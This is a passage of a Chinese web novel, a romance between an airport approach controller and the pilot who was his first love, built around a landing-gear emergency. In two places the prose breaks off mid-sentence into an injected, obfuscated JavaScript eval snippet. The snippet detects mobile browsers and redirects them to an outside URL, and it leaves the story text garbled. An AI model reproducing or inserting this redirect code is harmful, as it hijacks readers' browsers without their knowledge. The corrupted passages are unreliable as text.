《越过晨昏线》 1. 初恋兼前任 越过晨昏线 文/砚疏星 问:跟一个分手十二年,且十二年期间一次都没见过的初恋兼前任,十二年后第一次见面就上了床怎么办? - 5月2日,劳动节休假。 五一小长假的第二天。 清晨的朝阳透过窗帘的缝隙照进屋内,床前散落的衣服、鞋袜,打碎的水杯碎片,褶皱的地毯……一切都预示着昨晚的混乱局面。 林序川睁眼盯着天花板,身上某处的酸痛感一阵阵的传来,清晰地提醒着他昨晚发生了什么。 床前的男人背身站着,逆着光,隐在清晨光晕里的身材挺拔壮硕,宽阔的背部肌肉线条明显,笔挺的西装裤穿在身上,更显得那两条腿格外修长……依稀记得昨晚腹肌的手感好像还不错? 不对!现在是想这个的时候嘛! 林序川皱着眉:“啧……” 大意了! 男人刚弯腰捡了地上的衬衫套上身,还没来得及扣扣子,听见身后的动静,干脆扣子也不扣了,不紧不慢地转身,清早的嗓音带着几分慵懒配着他本身的三分痞气,“醒了?” 林序川:“…………” 这话问的,不知道为什么,总有一种一夜情的错觉,仿佛对方下一秒就要甩给他一张黑卡,再来上一句,“昨晚是个意外,卡里有五百万,以后就当不认识。” 嗯,小说短剧里的霸总文都这么演。 眼前的男人浓眉大眼,剑眉星目,鼻梁高挺,五官精致,有一种神似电影明星的高级感,但又带点肆意随性的气质,特别是左眼下那颗泪痣,让他那张脸多了几分柔和。身上的衬衫还大敞着,胸前紧实的肌肉和那沟壑分明的腹肌若隐若现。 先不管小说短剧怎么演,这场面,至少他现在是挪不开眼:“…………” 有时候真挺唾弃好色的自己的。 但话又说回来,那什么什么跟什么,他就浅浅沾点颜色罢了。 睡都睡了,看看怎么了! 大约是注意到他的目光,男人一挑眉,不动声色地把原本就敞开着的上衣衣摆往后一撩,若隐若现的腹肌瞬间暴露无遗。 林序川:“…………” 够了!我说够了! 色诱可耻! 见他那眼睛都看直了的模样,男人唇角微扬,露出一个狡黠的微笑,长腿一迈,幽幽道:“光看多没劲啊。” 林序川瞪大了眼睛,下一秒就要拉过被子盖住脑袋,但某人比他动作快,直接欺身压住,把他身上的被子一裹,林序川被裹得跟个蚕蛹似的,只剩个脑袋露在被子外面。 这人制裁住了,一时动弹不得,只得挣扎了两下,却不想连开口的声音都是哑的,“宋觉骁,你放开我!” 此刻这个压在他身上的男人——宋觉骁,是他的初恋兼前任。 但他们已经分手十二年了,且这十二年间一次都没见过。 俗话说得好,一个合格的前任就应该跟死了一样! 可偏偏宋觉骁这个前任不仅没“死”,十二年后第一次见面,倒是差点让他死在床上! 林序川至此都没想明白为什么。 宋觉骁压着他分毫未动,冷笑道:“放开你,让你再跑一次?” “我——”林序川哑言,眼看硬的不行只能来软的了,随即一脸谄媚从善如流地认错,“骁哥……我错了!我都这样了,我还能跑哪去啊?跑不了跑不了,真的!” 宋觉骁睨着他,不为所动。 林序川一副委屈的表情,可怜巴巴地喊:“我腰疼!”像是怕他不信,还装模作样地咳了两声,“真疼……嗓子也疼!” 他那张脸,十二年都没怎么变过,一副呆呆软软的模样,特别招人疼。 可他这张嘴——是真欠亲! 宋觉骁是这么想的,也是这么做的——他低头按着他,不由分说的吻直亲得林序川差点喘不过气,他才大发慈悲地松了手,把他从床上拽了起来,咬牙切齿地吐了一句,“骗子!” - 时间回到昨天。 五月一日。 五一小长假,向来是出游高峰。 虞城国际机场,总面积130万平方米,拥有两百多个停机位以及四条跑道,每周起降飞机上千架次。是全国旅客吞吐量第八,货邮吞吐量第一和起降架次第四的机场。 也是华东区复合枢纽、门户机场之一。 就算不是五一,虞城机场每天起降的飞机,接纳的客流量都不在少数。 而就在这么一个平常又不寻常的早上,9:20。 虞城国际机场,进近管制室。 林序川看着面前雷达屏幕上严重影响进度的东航飞机,语气不善地问:“东方1127,能不能提速?” 无线电那头回得也是慢慢悠悠,“不行啊,公司有规定。” 东航的飞机被投诉慢,那是常有的事,眼下空域内忙得很,林序川直接就是一句,“东方1127,右转航向200,五海里等待。” 站在林序川身后的小姑娘是他的徒弟,卢希然,半个月前跟他一起入职的见习管制。 刚入职那天卢希然在管制中心楼下遇到林序川,背着个双肩包,个子还挺高,但穿着那身白衬衫配灰色西裤的管制制服,双手握着背包肩带,整个人看着呆呆软软的,像初出茅庐尚且稚嫩的大学生。 卢希然想当然地以为林序川是跟她一道来见习的,结果,人家是实打实的“老管制”,甚至最后还成了她师父。 如今,卢希然也跟了他半个月了,算是深刻体会到了“人不可貌相”这句话的含义——她师父这个人,工作时候跟平常,简直判若两人! 以前只听说虞城机场进近科的江主任很可怕……她现在感觉她师父也挺可怕的。 就比如这会,对面机组大约是不服气,“不是,为什么让我偏航啊?” 林序川头都没抬一下,“你哪位?” 空中管制员与飞行员之间通过无线电的交流通讯,被称作“陆空通话”,而完整的陆空通话需要双方核实,比如管制员下达完指令后,飞行员需要复诵指令,以确保指令正确接收。而完整的复诵,需要带上航班号。 当然,提问也是一样。 此刻,对面也只能咬牙切齿地补上:“……东方1127!” “东方1127,你速度太慢,影响交通了。”林序川说完,也不跟他废话,直接问:“是否证实复诵?” 他起先问了能不能提速,既然机组回答不能,自然也不能因为他一架影响后面一串——这叫“先礼后兵”。 况且,下令偏航的理由他也解释了,有理有据。 空中管制员就好比空中交警,民航规定,如非特殊情况,机组飞行员必须对管制指令绝对服从。如果机组不复诵,那就意味着是对管制的指令存疑,不服从指令影响飞行的,基本会被当成特情处理,那后果就不是机动偏航这么简单了。 “证实!右转200,五海里等待,东方1127!”虽然不服气,但对面也只能打碎了牙往肚子里咽,卑微道:“什么时候让我归航啊?” “东方1127……”这下轮到林序川不紧不慢,“等你能提速的时候。” 卢希然在他身后看得目瞪口呆——师父不愧是师父! 林序川一挑眉,刚要指挥下一架,耳机里便传来了那个时隔十二年,却仍旧分外熟悉的声音,带着独属于他的痞气同他打招呼:“虞城进近上午好,国航4677,高度5400,听你指挥。” 林序川坐在席位前,盯着眼前雷达屏幕上那架新出现的小飞机,点开航班信息——是一架国航的波音737客机,航程是从北京飞往虞城落地。 空中管制主要分为区域管制、进近管制和机场管制三个部分。 “区域管制”是指挥航路上的飞机,而“进近管制”则是把飞机从航路引导到机场进近程序或者离场的时候从机场引导到航路的一个过渡,“机场管制”则是直接指挥飞机的起降。 其中,塔台是唯一的窗口单位,能直观地看到飞机的起降过程。 而一个多月前,林序川还是一名塔台管制员。 管制员的工作时间一般是两小时上岗在席,一小时休息。为的是在高强度的工作中确保管制员的工作状态,以便更好的保证飞行安全。 其中,塔台管制员为了能更清晰地目视机场情况,上岗的管制很多都是站着工作的。而忙的时候,一席班一站两个小时也都是常有的事。 但去年12月初的时候林序川出了一次车祸伤了腿,腿伤导致他无法做一些剧烈运动,以及无法长时间站立。 身体原因,他没办法继续胜任塔台岗位,最后不得不调岗。 而半个月前,他又被调任到了虞城机场。 此时此刻,林序川握紧了手里的笔,按下PTT按钮,镇定道:“国航4677,虞城进近雷达看到了,保持当前航向下4800。” 无线电的那头似乎轻笑了一声,“保持当前航向下4800,国航4677。” 那标准又公式化的复诵,明明那么简单平常,落进他耳朵里,却像一根羽毛,带着一分轻盈的笑意拂过他心底深处某个遮蔽已久的角落。 他像张扬着在告诉他——他回来了。 这个声音的主人,宋觉骁,他的青梅竹马,初恋……兼分手十二年的前任。 嗯,头衔还挺多。 当年的分手不太愉快,至今他们有十二年没见过了。 一年前,因为一起航空事故,林序川在国际新闻上见过一眼宋觉骁。 他们两家曾经是上下楼的邻居,他们的妈妈是一个银行工作的同事,他们是从小一起长大的青梅竹马。 年少懵懂,日久生情。 他们在最青春灿烂的年纪里深爱过彼此,也曾把对方当做此生唯一。 而所有的一切变故,来自于十二年前的那个初春。 18岁的林序川和20岁的宋觉骁,在他们确认关系刚在一起的第二周,林序川主动提了分手。那时的宋觉骁还在航校,等他得空能回家的时候,得到的却是他们一家搬家离开的消息。 只知道是他的父母离了婚,他爸出轨,他妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411388|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着儿子搬了家,家里什么东西都没拿,谁也没告诉,甚至连他妈妈的娘家人都不知道他们搬去了哪里。 而当时,宋觉骁只收到了林序川发给他的一条分手短信,给的理由是——活太烂。 想起当年被分手的理由,高空之上驾驶舱里的宋觉骁咬紧了后槽牙,冷哼一声。 当年真是惯的他,什么话都敢说! 当初因为突然分手的打击,又哪里都找不到人,宋觉骁那会整个人心灰意冷十分颓废。家里人因为工作原因当时又要出国,不放心他一个人在国内,就强行把他带出了国。 刚开始几年他也气过恨过,甚至扬言不会找他,可爱意无法消散,时间越久思念越深,等他再想找的时候,却是怎么也找不到人了,就仿佛人间蒸发了一般。 一走十二年,杳无音讯。 直到几个月前,宋觉骁才偶然得知这些年为什么到处都找不到他——十二年前的林序川还有个名字,叫凌淮声。 当年他爸妈离异后,他便随母姓改了名,跟着他妈妈搬了家,彻底隐藏了他曾经18年所有的经历。 也包括他。 于是,宋觉骁得到消息的第二天就跟公司提了辞职,然后联系国内的航司——回国,入职,改装,一气呵成。 生怕自己晚一步,这个没良心的就又跑了! 身旁的副驾驶钱屿看了他一眼,听见他那一声冷笑,一时有些踌躇,还怕是自己刚刚操作有什么问题。 不过看宋觉骁没什么别的反应,便又定了神,玩笑式地问了一句,“骁哥认识这个管制?” 这位宋机长,听说是两个多月前被公司从国外航司高薪聘请回来的,上过国际新闻的“英雄机长”——加拿大航空026水上迫降事故。 一年前,加拿大航空一架波音777客机,在执飞从温哥华国际机场飞往多伦多皮尔逊机场的航程中途遇到雷暴活动,大雨和冰雹导致飞机雷达罩损坏,双发熄火,APU启动失败,总电力损失。 毫无动力的空中巨无霸,就这么以滑翔的姿态一路冲出云层,最后迫降在休伦湖水面上。 这次事故曾被国外媒体称为是堪比“萨利机长”的水上迫降,而当时驾驶飞机成功迫降的机长,就是宋觉骁。 这场事故,也让这位年轻的机长,一时之间名声大噪。 本来前两天通知跟这个“英雄机长”一起飞的时候钱屿还有点紧张,因为不知道他人怎么样。但飞了两天之后发现,这人还挺好说话的,只要工作的时候不犯错,平常都挺随和。 宋觉骁笑了一声,没答,反而是问:“你认识?” “没见过人,但听说过,好像是前段时间刚调来的。”钱屿扯了扯嘴角,感慨道:“人还蛮凶的,跟他们主任一个样!” 就比如刚才……他都替那东方的兄弟捏把汗。 宋觉骁想起刚刚听到的他在频道里怼人的场景,嘴角噙着笑,认同地点了点头。 从小就凶,跟个小炮仗似的,一点就炸。 “他们进近科的江主任——哦,忘了你不认识了。”钱屿说一半反应过来,尴尬地笑了笑,“一会落地我再给你科普!” “行。” 这会没到驾驶舱静默规定要求的高度,况且管制也没有新的指令传来,他们按程序走进近流程,钱屿就跟宋觉骁闲聊了几句。 今天已经是他第三天跟宋觉骁一起飞了,据说两个月前宋觉骁刚来国航就去参加了改装培训,后来又申请换基地到了虞城,似乎是今天落地虞城以后就不走了,昨天跟他飞的时候钱屿还听见他跟人打电话,好像是在虞城买了房子。 “国航4677,减速180,高度下3600。” “减速180下3600,国航4677。” 他俩没聊几句话的功夫,林序川的声音再次透过无线电传来指令,等宋觉骁复诵完,钱屿调整了操纵面板数据,飞机继续进近。 “国航4677,右转航向150,高度下2400。” “右转150下24,国航4677。” 今天的天气还可以,不过就是五一出行高峰,天上有点堵机。但这会轮到他们进近的时候,好像还挺顺利,中途稍微机动了两次,也没轮上排队等。 空中的飞机正在按照林序川的指挥转向,下降高度。 钱屿正庆幸呢,但俗话说的好——乐极易生悲。 虞城机场进近管制室里的林序川,等宋觉骁那慵懒的嗓音复诵完,脑子里想的却是——一年前的新闻里,宋觉骁还是加拿大航空的飞行员,那会出事的机型好像是波音777? 他回国了,不仅换了航司,还改装了机型? 737是中短程客机,飞不了国际线,他这是打算以后都留在国内了? 正当林序川指挥了几架扇区内的其他飞机后,宋觉骁的声音再次传来,但这次,却是一连三句平静又急迫的“PAN-PAN”。 林序川一下坐正了身子,就听见无线电那头的人道:“进近你好,国航4677,目前高度正在下2400米,速度180,疑似起落架故障。” 2. 起落架故障 飞机进近低于3000米后,一般就要放下起落架,为的是增加飞机重量增大飞行阻力,以起到减速的效果。 刚才林序川给的最后一条指令是“下2400”,所以在下降高度低于3000米后,飞机同时也要放下起落架以减速,为进近着陆做准备。 林序川还没来得及开口,无线电那头的人先提起了诉求,“我已经尝试了重力放轮,但仪表显示起落架灯还是没亮,国航4677,申请低空通场。” 面前雷达屏幕上属于宋觉骁的那架小飞机还没有挂上“A7700”的红色标识,但他喊了“PAN-PAN”,情况依旧不容轻视。 “国航4677,收到了,稍等!”林序川快速回头,“主任,有情况!” 正在盯另一边席位的江宁回头,快步走过来,“怎么了?” “有机组报起落架故障,需要低空通场,是一架国航的737。” 江宁,虞城机场进近科室公认业务能力最强的管制员,也是虞城机场管制中心有史以来最年轻的科室主任。 同时,他也是林序川的大学师兄。 江宁站到他身边看了眼林序川面前的雷达屏幕,清冷的嗓音没什么波动,却也能听出他的重视,“空二号跑道给他,我去联系塔台。”末了,他又问了句林序川,“五分钟?” 原本一号跑道是离航站楼最近的一条,特殊情况,要让他尽早落地。但很不巧,今早一号跑道的盲降系统故障了,跑道关闭检修至今还没开放,所以目前距离航站楼最近的就是二号跑道16R方向。 林序川反应过来,点了点头,“行。” 一直站在林序川身后的卢希然,起初还没懂江主任那句“五分钟”是什么意思,直到五分钟后,看着那架起落架故障的737顺利进近的时候,她才反应过来。 虽然这架国航的飞机没挂“7700”的作弊代码,但他喊了“PAN-PAN”,优先级就高于其他。 而在此刻如此繁忙的空域内,到处都堆积的情况下,她的师父,仅用五分钟就为那架故障的737开辟出了一条可以畅通直达的航路。 只可惜,一圈通场后,地面来了消息。 江宁皱着眉,语气颇有些凝重道:“起落架没放下来。” 简简单单七个字,却不由让林序川心头一沉。 通场一圈后重新回到进近频道的宋觉骁,在收到这个消息后,也不由皱起了眉。 副驾驶的钱屿有些不安,“骁哥……” 刚刚他们准备进近放起落架的时候,起落架灯怎么都没亮。起初他们以为是起落架灯故障,毕竟这种事也不是没发生过。 所以为了安全起见,宋觉骁第一时间就去拉了自动放起落架手柄,之后才申请的低空通场。 波音737因为机型设计问题,机腹距离地面过近,起落架相比起其他机型也是矮了一截,所以设计上737取消了起落架舱门盖。一般情况下拉了起落架手柄后,没有舱门盖阻拦的起落架,相比起其他机型也更容易放下。 可是没想到,通场后的通报说起落架没放下来! 是卡阻了一时没放下来,还是故障了放不下来? 万一真的是故障了放不下来该怎么办? 没有起落架就得以机腹落地,飞机发动机直接接触到地面跑道……那场面,到时势必是一路火花带闪电。 万一,就是说万一,发动机摩擦导致起火,甚至爆炸——钱屿一时有点不敢想那个结果。 “进近,国航4677,我申请再试一次。” 宋觉骁冷静的声音传来,钱屿回过神转头看他。 随后,耳机里那个声音很快回复,“收到,可以。” 宋觉骁拍了拍钱屿,年轻的副驾驶收到他那个安慰的眼神,一时有片刻怔愣。但作为一个有独立驾驶资格的副驾驶,钱屿也没那么菜,往常的复训科目里也是有机腹迫降这一项的。 虽然没有真的经历过。 别慌,不能慌! 见他似是定了心神,宋觉骁呼了口气,先是联系了家里说明情况,但同时也要做好最坏的打算。 十几分钟后。 尾翼上火红的凤凰图标再次掠过虞城机场二号跑道。 进近管制室里,收到消息的管制中心主任付徵都跑了过来盯场,“怎么样了?什么情况啊?” “第二圈通场了。”江宁回了一句付徵,转头再看林序川的时候脸色十分难看,手里的电话还没挂断,皱眉摇头,“还是没有。” 林序川一时有些心慌,攥着笔的手默默握紧……两次了,两次都没放下来。 737的起落架这么难搞的嘛?! 付徵跑到林序川身边看了眼他眼前的雷达屏幕,在本就有一条跑道无法使用的情况下,此刻因为国航4677的特情,导致本来有四条跑道的虞城机场此刻仅剩两条跑道可用,本就繁忙的空域里堆积了不少要进近的航空器。 “先问问机组什么意图,”付徵伸手拍在他肩膀上,“尽量满足他们,我们配合。” 林序川回过神,点了点头,再次按下PTT话筒的手有一丝几不可查地颤抖,“国航4677……起落架还是没有放下来。你——” 林序川轻呼了口气,才问完了后半句,“当前有什么意图吗?” 无线电那头的高空之上,得到消息的宋觉骁第一时间去看了油量,说了一句“稍等”,脑子里迅速开始计算着陆性能,一边联系公司的工程师寻求解决办法。 而本次主飞的副驾驶钱屿,听见林序川那一句“还是没有”,瞬间心都悬到了嗓子眼儿。 “骁哥……怎么办?” 如果工程师提供的方法都没用的话,最后就只剩下一个机腹迫降了。 宋觉骁看了他一眼,大约是瞧出了他的害怕,“油量还够,再试一次吧。如果不行——”他顿了顿,沉声道:“我来落!” 他是本次航班的机长,他的肩上比副驾驶多一道杠,也多一份属于他的责任。 听着宋觉骁最后那颇为郑重的三个字,钱屿一时竟然有些感动,甚至觉得自己有点窝囊,“骁哥……对不起啊,我——” “没事,”宋觉骁冲他笑了笑,“别慌。” 害怕嘛,人之常情。 钱屿坚定地点头,“好!” 宋觉骁按下通讯按钮,联系林序川要求再转一圈。 古话讲——事不过三。 如果这次再不行……就算他不乐意机腹迫降,怕是也没办法了——油量要不够了。 在宋觉骁提出第三次通场要求的时候,林序川几乎是下意识地开口问了一句,“国航4677,油量够吗?” 他是落地的航班,看前面的航程好像因为延误还绕了会,这会因为起落架的问题又绕了两圈,会不会…… 驾驶舱里的宋觉骁闻言愣了一下,突然莫名其妙地笑了起来。 “骁哥?”钱屿回头看他,满脸疑惑。 什么情况,这个节骨眼了还能笑得出来? 这就是他跟英雄机长的差距吗? 宋觉骁收敛了笑意,回复道:“够的,国航4677。”说完,顿了一下,又接了一句,“我再试最后一次!” 他们从小一起长大,尽管中间有十二年没见过。但那么多年的习惯,不是一朝一夕就能改变的。林序川自认他十分了解宋觉骁这个人——嘴上说油量够,但转头一句“最后一次”。 是够转最后一圈,而不是再试最后一次吧。 这次转完,怎么个落法,只能听天由命了。 林序川咬着牙,挣扎着要不要让江宁去通知地面做准备。 他想相信宋觉骁,可他又怕万一…… 第三次了。 “序川!落下来了!” 听见这话,进近管制室里的众人都不由松了口气。 林序川猛然回头,差点从位子上站起来,他甚至怀疑自己有没有听错,又问了一遍,“确定落下来了?” 江宁点头,肯定道:“落了!” 先不管别的,起码起落架落下来了,至少不用机腹落地。付徵跟江宁交换了个眼神,“我去塔台看看。” 江宁点头,继续站在林序川身边看他指挥。 接到林序川的通知之前,飞机驾驶舱控制面板上的起落架灯已经亮了,而且是绿灯,就说明起落架已经放下到位了。 但等真的接到林序川通知确定的那一刻,宋觉骁还是不动声色地吐了口浊气,“老祖宗诚不欺我啊。” 果然,“事不过三”这话,还是有点道理的。 钱屿都快哭了……差点今天要上社会新闻了! 宋觉骁抬手捏了捏他的肩膀,“能落嘛?” “能!”钱屿一脸认真地点头,那眼神坚定地像是要入党。 机腹落地他或许不行,正常落地他还不行,那干脆别干了! “那你落,我做广播。”宋觉骁笑了笑,拿了话筒做机长广播。 他们刚刚第一圈通场的时候宋觉骁就做了个机长广播,毕竟乘客有知情权,飞机平白在跑道上飞一圈又不落地,很容易引起乘客恐慌。再者说了,万一真的要机腹落地,他们也得做好准备,避免不必要的伤亡。 这会没事了,安抚乘客情绪,也很重要。 飞机在天上又转了一圈后重新对准跑道。 “16R航道已截获,国航4677。” “国航4677,雷达服务终止,联系塔台118.4,再见!” 林序川的声音听上去十分平静,且毫无波澜,但宋觉骁还是听出了那一丝不安。 这是因为他的故障,担心了? 还是知道他回来了,心慌了? 不论是哪一种,宋觉骁轻笑一声,带着几分痞气而懒散的音调复诵道:“联系118.4,国航4677……再、见!” 宋觉骁那“再见”两个字咬得特别重,管制室里的林序川紧了紧握笔的手,呼了口气——躲了十二年,该来的还是来了。 十多分钟后,塔台来了通知——国航4677抛锚在了二号跑道上,爆胎了。 中午去吃饭的时候,林序川在食堂听见别人八卦。 “早上那架起落架故障的国航飞机,那个机长就是去年加航026的机长!” “就是那个水上迫降的?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411389|184594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是他!听说人长得超帅,而且还是海归。” “不知道哪天能让我指挥上他,据说声音也很好听!” “帅哥?有多帅?是比王少爷帅,还是比我们江主任帅?” “帅哥不能这么肤浅的比较,那是各有各的帅!嘿嘿,反正我都嗑。” “呵,死丫头还挺贪吃!” “那你就不懂了,什么都嗑只会让我营养均衡!” …… 林序川本来还心虚怕宋觉骁会找上门翻旧账,结果除了早上那会在频道里遇到了他,之后一整天过得相当平静。 直到—— 晚上八点下班的时候,江宁和他一块出的门,电梯里还在打电话,听声音像是他对象——王珩宇,东航的机长,以前是开战斗机的,家里又很有钱,所以大家给他起了个绰号叫“少爷”。 以前上学的时候,林序川认识的江宁一贯都是严肃冷漠且不苟言笑的。那会他帮老师做助教来带他们班,其严厉程度比老古板的教授都有过之而无不及,相当可怕。 林序川跟他熟,还是因为当年老师强行把他塞给江宁认识,还夸他是继江宁之后他带过最有天分的学生。 今年年后三月份的ICAO考试那会遇到江宁,林序川还挺惊讶,感觉江宁像变了个人,后来一问才知道——他结婚了。 王珩宇此人,林序川见过几面,有时候他会来接江宁下班,人很热情开朗。对外人的时候分寸感十足,但面对江宁的时候,那叫一个温柔体贴细致入微。 平常他们休息的时候,只要见江宁捧着手机笑靥如花,那一定是在跟王珩宇聊天。 这会等江宁挂了电话,林序川凑过去,“啧啧啧……爱情的酸臭味儿啊!” 江宁脸上还挂着笑,也没在意他的取笑,“你有事没?送我一下。” “干嘛,你家王机长今天不来接你?” 江宁没答,收了手机又问:“你刚刚是不是还没吃饭?” “昂。”刚才饭点又是高峰,那会江宁也不在,小徒弟卢希然单独坐席他不太放心,所以就没去食堂吃饭,后来忙了也没顾上,这会确实是有点饿了,“怎么,你要请我吃饭?” 江宁笑了笑,“你送我去趟17L,让王机长请你。” “17L”是机场附近的一家家常菜馆,因为从地图平面角度来看,正对着虞城机场17L跑道,因而得名。 这家店距离机场很近,味道也很好,而且在机场边上开了很多年了,在机场附近的都爱来这吃,生意相当红火。 当时林序川到虞城的第一顿,江宁就是带他来这吃的。 “行啊,走着。”林序川掏出车钥匙转悠了两下,“坐惯了少爷几百万的大G,带你坐坐我几十万的宝驹。” “……”江宁有些无语地跟上去,“换新车了?” “那是!挣了钱不就是要花的嘛,太贵的要不起,五六十万那还是买得起的。”林序川边说,还不忘回头数落了他一句,“谁像你,年薪百万,连辆车都不买。” 江宁一摊手,“有人接送,买车干嘛?” 林序川一脸嫌弃,“啧,秀恩爱可耻啊。” 路上,江宁解释了一句,“少爷说你楼下那户业主今天来了,他跟人在17L吃饭,喝了酒。” 刚刚打电话就是说他喝了酒的事,所以不能来接他。江宁想着反正是林序川楼下的户主,干脆带他一起去,楼上楼下的也好认识一下。 林序川刚来虞城的时候原本也是打算要租房的,江宁那会跟王珩宇领了证,搬去了王机长的大平层里,他原来住的那套小房子就空了出来。本着“肥水不流外人田”的原则,林序川就直接租了江宁的房子。 而他楼下的那套,据说是当初王珩宇追江宁的时候为了拉近距离特地买的,后来他俩在一起之后,那套房子也就没怎么住过了。之后两个人搬了家,那套就被王珩宇卖掉了。 林序川刚入住的时候,江宁说那户现在的业主要到五一前后才会搬过来。 林序川了然应了一声,也没多想,又问:“少爷明天没班?” “有,晚班11点。” 飞行员有禁酒令,要求执勤前12小时禁酒。 这会喝上的,到明天晚上11点,早过12个小时了。 不过,这五一的好日子,还能让他白天闲着? 大约是猜到他在想什么,江宁有些无奈地笑道:“他卡48了。” “芜湖——”林序川一挑眉,“也是让他过上五一假了。” 江宁一脸认同地点头。 毕竟,民航人哪有假期呢。 他俩闲聊了几句,小饭馆离机场很近,没一会就到了。江宁循着王珩宇发给他的包间号,带着林序川一路往里走,“对了,少爷说你楼下那户也是飞行员,国航的,刚从国外回来。” 飞行员,国航,还刚从国外回来? 这几个词儿怎么这么熟悉呢…… 林序川还没来得及反应,江宁已经推开了包间门,他抬眼望过去——对上那戏谑又带着几分轻挑的眼神,那一瞬间,仿佛像火星撞地球一般。 就说怎么这么熟悉呢——碰见债主了这是! 3. 谁同意你的 见林序川呆在门口,江宁拽着他进去坐下,看他跟人家对视的模样,“怎么了,你们认识?” “不认识!”林序川近乎条件反射的一句。 对面的宋觉骁看着他,眯了眯眼,默默咬牙——好一个不认识! 江宁也有些莫名其妙,总感觉今天林序川不太对劲。 “快来坐吧,聊两句不就认识了嘛。”王珩宇没多在意,他满眼只有江宁,拉着他的手坐下,一边给他们介绍,“这是骁哥,宋觉骁。早上你说那架起落架故障的飞机,就是他飞的。” 闻言,江宁有些许惊讶,“国航4677?” 早上那事毕竟挺惊险的,后来听人说是个什么英雄机长飞的,他那会忙着也没多在意说的是谁,没想到这么巧,晚上就让他见着了。 “是我。”宋觉骁礼貌点头,“江主任……久仰大名!” 飞机上半截话没说完,后来落地以后钱屿跟他科普了一下这位江主任的事迹,刚刚他们来之前,王珩宇还跟他聊了会。 宋觉骁说完又转移了视线去看江宁身边低着头努力缩小存在感的林序川,装模作样地配合道:“这位是?” “哦!”江宁回过神,介绍道:“我同事,早上指挥你进近的,林序川,我师弟。” 王珩宇不动声色地看了他一眼——最近江宁但凡跟人介绍林序川,都得加上一句“我师弟”。 听着还颇有点得意骄傲的味道。 宋觉骁一挑眉,郑重地起身,伸手,“林管制……早上,谢谢你的指挥!” 林序川一愣,刚准备偷摸吃两口的手当即顿住——刚跟江宁打招呼也没见你站起来还握手啊,这是干什么! 总感觉宋觉骁那个“林”字,咬得特别重,但当着江宁跟王珩宇的面,先前他进门都说了“不认识”,这会宋觉骁都配合他了,林序川只能硬着头皮起身跟他握手,“不、不客气……” 说话都结巴了。 宋觉骁直接握住了他整个手掌,微微用力,却没松开,嘴上客套着:“早上没给你添麻烦吧?” 林序川想抽回手,但被他握着又收不回来,只能道:“没有……都是工作。” 呵,好一个都是工作。 还挺能装! 宋觉骁在别人看不见的角度,用食指刮了一下他的指节。十指连心,那微痒的感觉仿佛一路延伸到了心脏,让他十分不自在。 林序川忍不住,还是抬眸瞪他——松手! 诚如先前所言,他们青梅竹马一起长大,对彼此了如指掌——林序川一个眼神,宋觉骁就知道他在想什么。 不动声色地收回手,重新坐下,嘴上还冠冕堂皇,“早上因为起落架的事来回了好几次,怕给你们添麻烦。” 林序川咬牙:“特殊情况,可以理解。” 江宁跟王珩宇面面相觑—— 王珩宇:什么情况?你师弟有这么腼腆嘛? 江宁:不知道啊……没有吧? 王珩宇:这也不像不认识的样子啊。 江宁:嗯……感觉还有火药味儿。 见那两人气氛尴尬,王珩宇咳了一声,跟江宁转移话题道:“你前两天看的最新一期那个水上迫降的纪录片……也是他!” “加航那个?”一听这话,什么火药味不火药味的,江宁已经不在意了。 相比起来,还是水上迫降那个事儿比较让他震惊! 江宁没事就喜欢刷《空中浩劫》的纪录片,加航那起事故准确算起来是前年年底的事情,去年年初才有媒体报道。 而就在上个月,《空中浩劫》出了那起事故的纪录片,江宁那会看了好几遍,还跟王珩宇讨论过。 当时的飞机距离目的地机场还有段距离,是处于超重姿态迫降的,甚至来不及放油。尽管是全机断电的滑翔姿态,但当时飞机的速度依然很快。况且是水面降落,相比起陆地,不稳定因素太多。 以高速在水面着陆时,水上无法使用起落架,机腹接触水面的那一刻,飞机所受阻力增大。但凡此刻飞机姿态不平衡,或者水面波浪大一些,都有可能造成飞机与水面接触面不平均,此时的飞机极有可能因为受力不一致而出现侧翻或者倾斜翻滚的情况,严重的可能会直接解体爆炸。 近年来最成功的水上迫降案例,就是电影《萨利机长》的原型——全美航空1549号航班。 水上迫降,不仅需要超高的技术,还得有超凡的运气! 宋觉骁倒是挺谦虚,“没有纪录片那么夸张。” 王珩宇跟江宁同宋觉骁就着这个话题多聊了几句,林序川就坐在一旁默默的吃东西。 其实那个纪录片他也看了,且看了不止一遍。 江宁转而又问起早上起落架故障的事,宋觉骁无奈道:“机械卡阻了……还好是刹住车了。” 飞机降落时起落架机轮高速摩擦地面,需要很强的制动才能停住这庞然大物,因而飞机的减速制动装置自然不止光刹车这一个手段,平常看到飞机接地落地时擦起的白烟就是机轮制动。 机械卡阻只是导致爆胎都算是小事,严重点的偏离或刹不住车冲出跑道,或是起落架折断导致机头砸在地面上,那都是有可能发生的。 王珩宇向来热情,宋觉骁跟他还挺聊得来,特别是他不知从哪听说了去年王珩宇鸟击单发又遇上撞坏了空速管跟迎角探测器,在雨天湿滑跑道积水的情况下差点冲出跑道的事。 他俩一个明天晚班,另一个因为今天的事故也停飞了,两个人喝酒聊天,颇有一种相见恨晚的感觉。 林序川本来是默默吃饭的,见他们没提及他,他就尽量缩小存在感。但宋觉骁那个眼神总时不时落在他身上,林序川只要一抬眼,势必能对上他的视线。 后来他都吃饱了,见宋觉骁跟王珩宇还在聊,一箱雪花都快喝完了。 他记得……以前宋觉骁酒量不怎么样。 